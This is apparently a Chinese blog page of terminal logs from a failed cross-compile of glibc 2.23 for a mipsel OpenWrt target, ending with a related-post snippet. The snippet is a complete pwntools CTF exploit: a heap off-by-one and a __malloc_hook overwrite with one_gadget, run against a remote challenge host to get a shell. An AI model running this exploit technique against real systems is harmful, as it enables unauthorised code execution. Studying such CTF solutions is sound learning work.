./glibc-2.23

./glibc-2.23/configure --prefix=/opt/route/glibc --host=mipsel-openwrt-Linux CC=mipsel-openwrt-linux-gcc

make CC=mipsel-openwrt-linux-gcc


mipsel-openwrt-linux-gcc ../sysdeps/mips/fpu/fgetexcptflg.c -c -std=gnu11 -fgnu89-inline  -O2 -Wall -Werror -Wundef -Wwrite-strings -fmerge-all-constants -frounding-math -g -Wstrict-prototypes -Wold-style-definition          -D__NO_MATH_INLINES -D__LIBC_INTERNAL_MATH_INLINES -DNO_LONG_DOUBLE -D_Mlong_double_=double -I../include -I/home/du/code/project/glibc/math  -I/home/du/code/project/glibc  -I../sysdeps/unix/sysv/linux/mips/mips32/fpu  -I../sysdeps/unix/sysv/linux/mips/mips32  -I../sysdeps/unix/sysv/linux/mips  -I../sysdeps/mips/nptl  -I../sysdeps/unix/sysv/linux/include -I../sysdeps/unix/sysv/linux  -I../sysdeps/nptl  -I../sysdeps/pthread  -I../sysdeps/gnu  -I../sysdeps/unix/inet  -I../sysdeps/unix/sysv  -I../sysdeps/unix/mips/mips32  -I../sysdeps/unix/mips  -I../sysdeps/unix  -I../sysdeps/posix  -I../sysdeps/mips/mips32/fpu  -I../sysdeps/mips/mips32  -I../sysdeps/mips/ieee754  -I../sysdeps/mips/include -I../sysdeps/mips  -I../sysdeps/ieee754/flt-32  -I../sysdeps/ieee754/dbl-64  -I../sysdeps/wordsize-32  -I../sysdeps/mips/fpu  -I../sysdeps/ieee754  -I../sysdeps/generic  -I.. -I../libio -I.   -D_LIBC_REENTRANT -include /home/du/code/project/glibc/libc-modules.h -DMODULE_NAME=libm -include ../include/libc-symbols.h       -o /home/du/code/project/glibc/math/fgetexcptflg.o -MD -MP -MF /home/du/code/project/glibc/math/fgetexcptflg.o.dt -MT /home/du/code/project/glibc/math/fgetexcptflg.o

mipsel-openwrt-linux-gcc ../sysdeps/mips/fpu/fraiseexcpt.c -c -std=gnu11 -fgnu89-inline  -O2 -Wall -Werror -Wundef -Wwrite-strings -fmerge-all-constants -frounding-math -g -Wstrict-prototypes -Wold-style-definition          -D__NO_MATH_INLINES -D__LIBC_INTERNAL_MATH_INLINES -DNO_LONG_DOUBLE -D_Mlong_double_=double -I../include -I/home/du/code/project/glibc/math  -I/home/du/code/project/glibc  -I../sysdeps/unix/sysv/linux/mips/mips32/fpu  -I../sysdeps/unix/sysv/linux/mips/mips32  -I../sysdeps/unix/sysv/linux/mips  -I../sysdeps/mips/nptl  -I../sysdeps/unix/sysv/linux/include -I../sysdeps/unix/sysv/linux  -I../sysdeps/nptl  -I../sysdeps/pthread  -I../sysdeps/gnu  -I../sysdeps/unix/inet  -I../sysdeps/unix/sysv  -I../sysdeps/unix/mips/mips32  -I../sysdeps/unix/mips  -I../sysdeps/unix  -I../sysdeps/posix  -I../sysdeps/mips/mips32/fpu  -I../sysdeps/mips/mips32  -I../sysdeps/mips/ieee754  -I../sysdeps/mips/include -I../sysdeps/mips  -I../sysdeps/ieee754/flt-32  -I../sysdeps/ieee754/dbl-64  -I../sysdeps/wordsize-32  -I../sysdeps/mips/fpu  -I../sysdeps/ieee754  -I../sysdeps/generic  -I.. -I../libio -I.   -D_LIBC_REENTRANT -include /home/du/code/project/glibc/libc-modules.h -DMODULE_NAME=libm -include ../include/libc-symbols.h       -o /home/du/code/project/glibc/math/fraiseexcpt.o -MD -MP -MF /home/du/code/project/glibc/math/fraiseexcpt.o.dt -MT /home/du/code/project/glibc/math/fraiseexcpt.o
mipsel-openwrt-linux-gcc ../sysdeps/mips/fpu/fsetexcptflg.c -c -std=gnu11 -fgnu89-inline  -O2 -Wall -Werror -Wundef -Wwrite-strings -fmerge-all-constants -frounding-math -g -Wstrict-prototypes -Wold-style-definition          -D__NO_MATH_INLINES -D__LIBC_INTERNAL_MATH_INLINES -DNO_LONG_DOUBLE -D_Mlong_double_=double -I../include -I/home/du/code/project/glibc/math  -I/home/du/code/project/glibc  -I../sysdeps/unix/sysv/linux/mips/mips32/fpu  -I../sysdeps/unix/sysv/linux/mips/mips32  -I../sysdeps/unix/sysv/linux/mips  -I../sysdeps/mips/nptl  -I../sysdeps/unix/sysv/linux/include -I../sysdeps/unix/sysv/linux  -I../sysdeps/nptl  -I../sysdeps/pthread  -I../sysdeps/gnu  -I../sysdeps/unix/inet  -I../sysdeps/unix/sysv  -I../sysdeps/unix/mips/mips32  -I../sysdeps/unix/mips  -I../sysdeps/unix  -I../sysdeps/posix  -I../sysdeps/mips/mips32/fpu  -I../sysdeps/mips/mips32  -I../sysdeps/mips/ieee754  -I../sysdeps/mips/include -I../sysdeps/mips  -I../sysdeps/ieee754/flt-32  -I../sysdeps/ieee754/dbl-64  -I../sysdeps/wordsize-32  -I../sysdeps/mips/fpu  -I../sysdeps/ieee754  -I../sysdeps/generic  -I.. -I../libio -I.   -D_LIBC_REENTRANT -include /home/du/code/project/glibc/libc-modules.h -DMODULE_NAME=libm -include ../include/libc-symbols.h       -o /home/du/code/project/glibc/math/fsetexcptflg.o -MD -MP -MF /home/du/code/project/glibc/math/fsetexcptflg.o.dt -MT /home/du/code/project/glibc/math/fsetexcptflg.o
mipsel-openwrt-linux-gcc ../sysdeps/mips/fpu/ftestexcept.c -c -std=gnu11 -fgnu89-inline  -O2 -Wall -Werror -Wundef -Wwrite-strings -fmerge-all-constants -frounding-math -g -Wstrict-prototypes -Wold-style-definition          -D__NO_MATH_INLINES -D__LIBC_INTERNAL_MATH_INLINES -DNO_LONG_DOUBLE -D_Mlong_double_=double -I../include -I/home/du/code/project/glibc/math  -I/home/du/code/project/glibc  -I../sysdeps/unix/sysv/linux/mips/mips32/fpu  -I../sysdeps/unix/sysv/linux/mips/mips32  -I../sysdeps/unix/sysv/linux/mips  -I../sysdeps/mips/nptl  -I../sysdeps/unix/sysv/linux/include -I../sysdeps/unix/sysv/linux  -I../sysdeps/nptl  -I../sysdeps/pthread  -I../sysdeps/gnu  -I../sysdeps/unix/inet  -I../sysdeps/unix/sysv  -I../sysdeps/unix/mips/mips32  -I../sysdeps/unix/mips  -I../sysdeps/unix  -I../sysdeps/posix  -I../sysdeps/mips/mips32/fpu  -I../sysdeps/mips/mips32  -I../sysdeps/mips/ieee754  -I../sysdeps/mips/include -I../sysdeps/mips  -I../sysdeps/ieee754/flt-32  -I../sysdeps/ieee754/dbl-64  -I../sysdeps/wordsize-32  -I../sysdeps/mips/fpu  -I../sysdeps/ieee754  -I../sysdeps/generic  -I.. -I../libio -I.   -D_LIBC_REENTRANT -include /home/du/code/project/glibc/libc-modules.h -DMODULE_NAME=libm -include ../include/libc-symbols.h       -o /home/du/code/project/glibc/math/ftestexcept.o -MD -MP -MF /home/du/code/project/glibc/math/ftestexcept.o.dt -MT /home/du/code/project/glibc/math/ftestexcept.o
mipsel-openwrt-linux-gcc ../sysdeps/mips/fpu/fegetround.c -c -std=gnu11 -fgnu89-inline  -O2 -Wall -Werror -Wundef -Wwrite-strings -fmerge-all-constants -frounding-math -g -Wstrict-prototypes -Wold-style-definition          -D__NO_MATH_INLINES -D__LIBC_INTERNAL_MATH_INLINES -DNO_LONG_DOUBLE -D_Mlong_double_=double -I../include -I/home/du/code/project/glibc/math  -I/home/du/code/project/glibc  -I../sysdeps/unix/sysv/linux/mips/mips32/fpu  -I../sysdeps/unix/sysv/linux/mips/mips32  -I../sysdeps/unix/sysv/linux/mips  -I../sysdeps/mips/nptl  -I../sysdeps/unix/sysv/linux/include -I../sysdeps/unix/sysv/linux  -I../sysdeps/nptl  -I../sysdeps/pthread  -I../sysdeps/gnu  -I../sysdeps/unix/inet  -I../sysdeps/unix/sysv  -I../sysdeps/unix/mips/mips32  -I../sysdeps/unix/mips  -I../sysdeps/unix  -I../sysdeps/posix  -I../sysdeps/mips/mips32/fpu  -I../sysdeps/mips/mips32  -I../sysdeps/mips/ieee754  -I../sysdeps/mips/include -I../sysdeps/mips  -I../sysdeps/ieee754/flt-32  -I../sysdeps/ieee754/dbl-64  -I../sysdeps/wordsize-32  -I../sysdeps/mips/fpu  -I../sysdeps/ieee754  -I../sysdeps/generic  -I.. -I../libio -I.   -D_LIBC_REENTRANT -include /home/du/code/project/glibc/libc-modules.h -DMODULE_NAME=libm -include ../include/libc-symbols.h       -o /home/du/code/project/glibc/math/fegetround.o -MD -MP -MF /home/du/code/project/glibc/math/fegetround.o.dt -MT /home/du/code/project/glibc/math/fegetround.o
../sysdeps/mips/fpu/fegetround.c: In function '__fegetround':
../sysdeps/mips/fpu/fegetround.c:31:15: error: '_FPU_RC_MASK' undeclared (first use in this function)
   return cw & _FPU_RC_MASK;
               ^
../sysdeps/mips/fpu/fegetround.c:31:15: note: each undeclared identifier is reported only once for each function it appears in
../sysdeps/mips/fpu/fegetround.c:32:1: error: control reaches end of non-void function [-Werror=return-type]
 }
 ^
cc1: all warnings being treated as errors
/home/du/code/project/glibc/sysd-rules:2163: recipe for target '/home/du/code/project/glibc/math/fegetround.o' failed
make[2]: *** [/home/du/code/project/glibc/math/fegetround.o] Error 1
make[2]: Leaving directory '/home/du/code/project/glibc/glibc-2.23/math'
Makefile:214: recipe for target 'math/others' failed
make[1]: *** [math/others] Error 2
make[1]: Leaving directory '/home/du/code/project/glibc/glibc-2.23'
Makefile:9: recipe for target 'all' failed
make: *** [all] Error 2




$vi glibc-2.23/sysdeps/mips/fpu_control.h +94

mipsel-openwrt-linux-gcc -nostdlib -nostartfiles -o /home/du/code/project/glibc/sunrpc/rpcgen     -Wl,-z,relro  /home/du/code/project/glibc/csu/crt1.o /home/du/code/project/glibc/csu/crti.o `mipsel-openwrt-linux-gcc  --print-file-name=crtbegin.o` /home/du/code/project/glibc/sunrpc/rpcgen.o /home/du/code/project/glibc/sunrpc/rpc_main.o /home/du/code/project/glibc/sunrpc/rpc_hout.o /home/du/code/project/glibc/sunrpc/rpc_cout.o /home/du/code/project/glibc/sunrpc/rpc_parse.o /home/du/code/project/glibc/sunrpc/rpc_scan.o /home/du/code/project/glibc/sunrpc/rpc_util.o /home/du/code/project/glibc/sunrpc/rpc_svcout.o /home/du/code/project/glibc/sunrpc/rpc_clntout.o /home/du/code/project/glibc/sunrpc/rpc_tblout.o /home/du/code/project/glibc/sunrpc/rpc_sample.o  -Wl,-dynamic-linker=/opt/route/glibc/lib/ld.so.1 -Wl,-rpath-link=/home/du/code/project/glibc:/home/du/code/project/glibc/math:/home/du/code/project/glibc/elf:/home/du/code/project/glibc/dlfcn:/home/du/code/project/glibc/nss:/home/du/code/project/glibc/nis:/home/du/code/project/glibc/rt:/home/du/code/project/glibc/resolv:/home/du/code/project/glibc/crypt:/home/du/code/project/glibc/mathvec:/home/du/code/project/glibc/nptl /home/du/code/project/glibc/libc.so.6 /home/du/code/project/glibc/libc_nonshared.a -Wl,--as-needed /home/du/code/project/glibc/elf/ld.so -Wl,--no-as-needed -lgcc  `mipsel-openwrt-linux-gcc  --print-file-name=crtend.o` /home/du/code/project/glibc/csu/crtn.o
gcc /home/du/code/project/glibc/sunrpc/cross-rpc_main.o /home/du/code/project/glibc/sunrpc/cross-rpc_hout.o /home/du/code/project/glibc/sunrpc/cross-rpc_cout.o /home/du/code/project/glibc/sunrpc/cross-rpc_parse.o /home/du/code/project/glibc/sunrpc/cross-rpc_scan.o /home/du/code/project/glibc/sunrpc/cross-rpc_util.o /home/du/code/project/glibc/sunrpc/cross-rpc_svcout.o /home/du/code/project/glibc/sunrpc/cross-rpc_clntout.o /home/du/code/project/glibc/sunrpc/cross-rpc_tblout.o /home/du/code/project/glibc/sunrpc/cross-rpc_sample.o  -o /home/du/code/project/glibc/sunrpc/cross-rpcgen
/usr/bin/ld: /opt/compiler/OpenWrt-SDK-ramips-for-linux-i686-gcc-4.8-linaro_uClibc-0.9.33.2/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/lib/../lib/crt1.o:普通ELF重定位(M: 8)
/usr/bin/ld: /opt/compiler/OpenWrt-SDK-ramips-for-linux-i686-gcc-4.8-linaro_uClibc-0.9.33.2/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/lib/../lib/crt1.o:普通ELF重定位(M: 8)
/usr/bin/ld: /opt/compiler/OpenWrt-SDK-ramips-for-linux-i686-gcc-4.8-linaro_uClibc-0.9.33.2/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/lib/../lib/crt1.o:普通ELF重定位(M: 8)
/usr/bin/ld: /opt/compiler/OpenWrt-SDK-ramips-for-linux-i686-gcc-4.8-linaro_uClibc-0.9.33.2/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/lib/../lib/crt1.o:普通ELF重定位(M: 8)
/usr/bin/ld: /opt/compiler/OpenWrt-SDK-ramips-for-linux-i686-gcc-4.8-linaro_uClibc-0.9.33.2/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/lib/../lib/crt1.o:普通ELF重定位(M: 8)
/opt/compiler/OpenWrt-SDK-ramips-for-linux-i686-gcc-4.8-linaro_uClibc-0.9.33.2/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/lib/../lib/crt1.o: 无法添加符号: 文件格式错误
collect2: error: ld returned 1 exit status
Makefile:169: recipe for target '/home/du/code/project/glibc/sunrpc/cross-rpcgen' failed
make[2]: *** [/home/du/code/project/glibc/sunrpc/cross-rpcgen] Error 1
make[2]: Leaving directory '/home/du/code/project/glibc/glibc-2.23/sunrpc'
Makefile:214: recipe for target 'sunrpc/others' failed
make[1]: *** [sunrpc/others] Error 2
make[1]: Leaving directory '/home/du/code/project/glibc/glibc-2.23'
Makefile:9: recipe for target 'all' failed

make: *** [all] Error 2










make  subdir=nss -C nss ..=../ others
make  subdir=hesiod -C hesiod ..=../ others
make  subdir=sunrpc -C sunrpc ..=../ others
make[2]: Entering directory '/home/du/code/project/glibc/glibc-2.23/sunrpc'
gcc /home/du/code/project/glibc/sunrpc/cross-rpc_main.o /home/du/code/project/glibc/sunrpc/cross-rpc_hout.o /home/du/code/project/glibc/sunrpc/cross-rpc_cout.o /home/du/code/project/glibc/sunrpc/cross-rpc_parse.o /home/du/code/project/glibc/sunrpc/cross-rpc_scan.o /home/du/code/project/glibc/sunrpc/cross-rpc_util.o /home/du/code/project/glibc/sunrpc/cross-rpc_svcout.o /home/du/code/project/glibc/sunrpc/cross-rpc_clntout.o /home/du/code/project/glibc/sunrpc/cross-rpc_tblout.o /home/du/code/project/glibc/sunrpc/cross-rpc_sample.o  -o /home/du/code/project/glibc/sunrpc/cross-rpcgen
/home/du/code/project/glibc/sunrpc/cross-rpc_main.o:在函数‘generate_guard’中:
rpc_main.c:(.text+0xb9a):对‘__ctype_b’未定义的引用
/home/du/code/project/glibc/sunrpc/cross-rpc_scan.o:在函数‘get_token’中:
rpc_scan.c:(.text+0x256):对‘__ctype_b’未定义的引用
rpc_scan.c:(.text+0x287):对‘__ctype_b’未定义的引用
rpc_scan.c:(.text+0x52e):对‘__ctype_b’未定义的引用
rpc_scan.c:(.text+0x5b0):对‘__ctype_b’未定义的引用
/home/du/code/project/glibc/sunrpc/cross-rpc_scan.o:rpc_scan.c:(.text+0x7de): 跟着更多未定义的参考到 __ctype_b
/home/du/code/project/glibc/sunrpc/cross-rpc_util.o:在函数‘tabify’中:
rpc_util.c:(.text+0x61b):对‘__fputc_unlocked’未定义的引用
/home/du/code/project/glibc/sunrpc/cross-rpc_util.o:在函数‘printbuf’中:
rpc_util.c:(.text+0x6f9):对‘__fputc_unlocked’未定义的引用
/home/du/code/project/glibc/sunrpc/cross-rpc_util.o:在函数‘printwhere’中:
rpc_util.c:(.text+0x7d0):对‘__fputc_unlocked’未定义的引用
rpc_util.c:(.text+0x852):对‘__fputc_unlocked’未定义的引用
collect2: error: ld returned 1 exit status
Makefile:169: recipe for target '/home/du/code/project/glibc/sunrpc/cross-rpcgen' failed
make[2]: *** [/home/du/code/project/glibc/sunrpc/cross-rpcgen] Error 1
make[2]: Leaving directory '/home/du/code/project/glibc/glibc-2.23/sunrpc'
Makefile:214: recipe for target 'sunrpc/others' failed
make[1]: *** [sunrpc/others] Error 2
make[1]: Leaving directory '/home/du/code/project/glibc/glibc-2.23'
Makefile:9: recipe for target 'all' failed
make: *** [all] Error 2

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()这串代码的知识点
06-01
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值